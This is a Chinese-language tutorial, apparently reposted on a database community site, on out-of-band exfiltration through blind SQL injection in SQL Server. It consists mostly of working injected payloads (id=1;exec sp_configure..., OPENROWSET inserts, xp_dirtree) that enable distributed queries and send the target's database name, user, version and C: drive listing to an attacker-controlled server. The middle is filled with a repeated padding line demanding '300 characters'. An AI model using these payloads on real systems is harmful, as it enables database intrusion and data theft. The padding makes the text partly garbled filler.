适用于盲注,页面不返回信息,这种转发利用需要一台sqlserver机器
原理:把当前数据库中的内容发送到远程的sqlserver机器上
启用 Ad Hoc Distributed Queries:
;exec sp_configure 'show advanced options',1 reconfigure
;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
开启扩展
id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
查询目标数据库的当前库名,本地创建相同的库名
id=1 and db_name()>0在本地sqlserver上建立相同的库名并创建临时表
creat database 库名
creat table ##version(version verchar(500))
查询目标数据库信息,写入本地数据库
id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23version' ) select 需要查询的数据
db_name()
user_name()
@@version
......

再去本地数据库中查询临时表
select * from ##version查询路径
两边都需要创建临时表
本地数据库
create table ##nonamed( dir ntext, num int )
目标数据库
id=1;create table %23%23nonamed( dir ntext, num int )
先把目标主机的C盘路径信息插入到临时表
id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1再把临时表中的信息传输到本地数据库中的临时表,进行查询
id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23nonamed' ) select * from %23%23nonamed本地数据库查询

最后关闭Ad Hoc Distributed Queries:
;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;exec sp_configure 'show advanced options',0 reconfigure
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
一定要300字!一定要300字!一定要300字!一定要300字!一定要300字!
文章转载自老徐今天也很棒,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




